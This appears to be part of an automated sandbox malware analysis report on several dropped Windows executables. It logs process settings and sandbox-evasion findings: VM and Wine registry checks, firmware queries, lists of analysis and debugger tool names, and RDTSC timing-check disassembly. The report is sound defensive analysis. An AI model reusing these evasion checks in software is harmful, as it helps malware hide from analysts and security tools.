Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Users\user\Desktop\file.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000000.2804252018.000000000041F000.00000002.00000001.01000000.00000012.sdmp Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2F511 second address: C2F52F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F7AB0FF7760h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2F52F second address: C2EDD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cmc 0x0000000b push dword ptr [ebp+122D0ED9h] 0x00000011 or dword ptr [ebp+122D1DF2h], esi 0x00000017 sub dword ptr [ebp+122D1DFAh], edi 0x0000001d call dword ptr [ebp+122D20CAh] 0x00000023 pushad 0x00000024 jc 00007F7AB12EBC8Ch 0x0000002a xor dword ptr [ebp+122D1DBCh], ebx 0x00000030 clc 0x00000031 xor eax, eax 0x00000033 mov dword ptr [ebp+122D1DECh], eax 0x00000039 pushad 0x0000003a sub dword ptr [ebp+122D1DECh], eax 0x00000040 mov ecx, dword ptr [ebp+122D2D0Ch] 0x00000046 popad 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b mov dword ptr [ebp+122D1E1Dh], eax 0x00000051 mov dword ptr [ebp+122D2F4Ch], eax 0x00000057 pushad 0x00000058 sub edi, dword ptr [ebp+122D2F44h] 0x0000005e popad 0x0000005f mov esi, 0000003Ch 0x00000064 pushad 0x00000065 mov edx, 7D9B48C0h 0x0000006a jno 00007F7AB12EBC89h 0x00000070 popad 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 add dword ptr [ebp+122D2FD4h], ebx 0x0000007b lodsw 0x0000007d pushad 0x0000007e jnc 00007F7AB12EBC88h 0x00000084 jc 00007F7AB12EBC8Ch 0x0000008a or dword ptr [ebp+122D1DCFh], edi 0x00000090 popad 0x00000091 add eax, dword ptr [esp+24h] 0x00000095 or dword ptr [ebp+122D1DECh], esi 0x0000009b mov ebx, dword ptr [esp+24h] 0x0000009f add dword ptr [ebp+122D2F9Ch], ecx 0x000000a5 jmp 00007F7AB12EBC8Bh 0x000000aa nop 0x000000ab pushad 0x000000ac push ebx 0x000000ad push eax 0x000000ae push edx 0x000000af rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2EDD4 second address: C2EDFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F7AB0FF7766h 0x0000000b popad 0x0000000c push eax 0x0000000d jo 00007F7AB0FF7764h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2EDFA second address: C2EE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAADDC second address: DAADE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAB270 second address: DAB276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAB534 second address: DAB53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE408 second address: DAE449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a mov dword ptr [ebp+122D1DB2h], esi 0x00000010 sub dword ptr [ebp+122D30B6h], edx 0x00000016 popad 0x00000017 jmp 00007F7AB12EBC8Bh 0x0000001c push 00000000h 0x0000001e jmp 00007F7AB12EBC93h 0x00000023 push 240A0040h 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push edi 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE449 second address: DAE44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE44D second address: DAE521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F7AB12EBC8Bh 0x0000000c pop edi 0x0000000d popad 0x0000000e xor dword ptr [esp], 240A00C0h 0x00000015 jg 00007F7AB12EBCA5h 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F7AB12EBC88h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000017h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 call 00007F7AB12EBC93h 0x0000003c mov ecx, dword ptr [ebp+122D2D14h] 0x00000042 pop esi 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007F7AB12EBC88h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 00000019h 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f push 00000003h 0x00000061 clc 0x00000062 push BE599BBEh 0x00000067 pushad 0x00000068 jmp 00007F7AB12EBC97h 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F7AB12EBC94h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE631 second address: DAE637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE637 second address: DAE655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F7AB12EBC95h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE655 second address: DAE692 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F7AB0FF7758h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov edx, dword ptr [ebp+122D1C3Bh] 0x0000002b mov edx, dword ptr [ebp+122D2F68h] 0x00000031 push 567BE0B2h 0x00000036 push edi 0x00000037 push ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE692 second address: DAE6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 xor dword ptr [esp], 567BE032h 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F7AB12EBC88h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push edi 0x00000028 call 00007F7AB12EBC8Ah 0x0000002d pop edx 0x0000002e pop edi 0x0000002f push 00000003h 0x00000031 mov dword ptr [ebp+122D3A09h], edi 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D1DE0h], esi 0x0000003f push 00000003h 0x00000041 adc ch, 0000007Ah 0x00000044 call 00007F7AB12EBC89h 0x00000049 pushad 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE6EC second address: DAE6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE6F2 second address: DAE6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE6FA second address: DAE739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7AB0FF7756h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jno 00007F7AB0FF775Ch 0x00000014 jmp 00007F7AB0FF775Eh 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7AB0FF7760h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE739 second address: DAE753 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7AB12EBC88h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7AB12EBC8Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE753 second address: DAE7B2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7AB0FF776Ch 0x00000008 jmp 00007F7AB0FF7766h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 jbe 00007F7AB0FF776Dh 0x0000001e jmp 00007F7AB0FF7767h 0x00000023 popad 0x00000024 pop eax 0x00000025 lea ebx, dword ptr [ebp+124532C3h] 0x0000002b mov edx, dword ptr [ebp+122D1DB7h] 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jbe 00007F7AB0FF7758h 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DAE84D second address: DAE857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7AB12EBC86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCFC44 second address: DCFC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCFC4A second address: DCFC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCDA64 second address: DCDA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCDA69 second address: DCDA94 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F7AB12EBC9Bh 0x00000012 jmp 00007F7AB12EBC95h 0x00000017 push esi 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCDA94 second address: DCDAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F7AB0FF7756h 0x0000000a jmp 00007F7AB0FF775Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCDED4 second address: DCDEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE015 second address: DCE033 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7762h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE033 second address: DCE039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE039 second address: DCE03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE03F second address: DCE061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d ja 00007F7AB12EBC86h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE38A second address: DCE39E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F7AB0FF7756h 0x0000000e jnp 00007F7AB0FF7756h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE39E second address: DCE3B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC94h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE3B6 second address: DCE3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCE55D second address: DCE56D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F7AB12EBC86h 0x0000000a jno 00007F7AB12EBC86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCEB29 second address: DCEB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F7AB0FF775Ah 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCEB38 second address: DCEB3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCEB3E second address: DCEB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCEB42 second address: DCEB8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007F7AB12EBC86h 0x0000000f jmp 00007F7AB12EBC96h 0x00000014 jmp 00007F7AB12EBC94h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jp 00007F7AB12EBC8Eh 0x00000024 pushad 0x00000025 popad 0x00000026 jns 00007F7AB12EBC86h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCF7F9 second address: DCF7FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCF7FD second address: DCF814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 js 00007F7AB12EBC86h 0x0000000d pop edx 0x0000000e pushad 0x0000000f jc 00007F7AB12EBC86h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCFA9A second address: DCFAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7AB0FF7756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DCFAA4 second address: DCFAB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD3D75 second address: DD3D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DD2A4E second address: DD2A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDA85C second address: DDA861 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
